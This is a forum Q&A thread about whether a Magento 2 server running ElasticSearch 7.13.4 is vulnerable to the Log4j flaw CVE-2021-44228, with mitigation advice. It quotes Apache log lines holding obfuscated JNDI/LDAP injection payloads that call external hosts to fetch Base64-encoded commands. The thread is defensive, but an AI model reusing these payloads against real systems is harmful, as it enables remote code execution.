1

Has someone checked if a Magento 2.3/2.4 installation with ElasticSearch is vulnerable to the Log4j exploit CVE-2021-44228?

I've checked for the relevant .jar files in the ElasticSearch Apache CVE-2021-44228 page and found.

  • /usr/share/elasticsearch/lib/log4j-core-2.11.1.jar
  • /usr/share/elasticsearch/lib/log4j-api-2.11.1.jar

I checked the apache logfiles for malicious code and found multiple requests.

[11/Dec/2021:01:13:20 +0100] "GET / HTTP/1.1" 200 57872 "-" "${jndi:${lower:l}${lower:d}a${lower:p}://log4j.bin${upper:a}ryedge.io:80/callback}" ${jndi:ldap://1.2.3.4:1234/Basic/Command/Base64/BASE64CODE=}
[12/Dec/2021:06:24:51 +0100] "GET /?x=${jndi:ldap://1.2.3.4:1234/Basic/Command/Base64/BASE64CODE=} HTTP/1.1" 200 57835 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://1.2.3.4:123/Basic/Command/Base64/BASE64CODE=}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://45.155.205.233:12344/Basic/Command/Base64/BASE64CODE=}"
[10/Dec/2021:21:01:46 +0100] "GET / HTTP/1.1" 200 57872 "-" "${jndi:ldap://a8fvkc.dnslog.cn/a}"

So I thought they gained access to the server but I'm still not fully sure.

I found the malicious code in the default apache logfile and in log files of other domains running on the same server (simple websites) and not in the apache log file of the Magento domain.

  1. Question: - Is the server compromised if the malicious code appears only in the Apache2 logfile and not in Elasticsearch log files? I thought that code have to go through an app that uses log4j for logging so the Apache2 web server should be fine with that?

  2. Question: How do you update those .jar files? Do we need to wait for an ElasticSearch update? (Currently installed: 7.13.4)

Currently, I can't spot any processes with high CPU usage or an increase in disk usage that would indicate something like a crypto miner.

1 Answer 1

3

Question 1: By the logs, it seemed to be infected.

Question 2: To update your .jar files you need to update your ElasticSearch to the last version launched today Dec 13, 2021. It brings the new .jar files updated. If you need time to update it and test it, you should set the JVM option -Dlog4j2.formatMsgNoLookups=true to avoid external communication.

Recommendations

  • Set JVM option -Dlog4j2.formatMsgNoLookups=true and restart your ElasticSearch.
  • Update your ElasticSearch to the lasted version (Dec 13, 2021).
  • Run this verification script to check potential issues.
  • Set up this custom VCL rules in your Fastly or Varnish.
  • Run Grype to scan your server.

Magento 2 Log4j2 Fastly Magento 2 VCL Log4j2

References:

3
  • Thanks for your detailed answer. To Question 1 - the logs are generated by apache without log4j so the JndiLookup class is never called, right? By that, the system shouldn't be infected?
    – Sebastian
    Dec 14, 2021 at 14:59
  • Furthermore the ElasticSearch service was offline at that server.
    – Sebastian
    Dec 14, 2021 at 15:11
  • If it's not made by log4j it's not infected. Dec 14, 2021 at 23:12

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.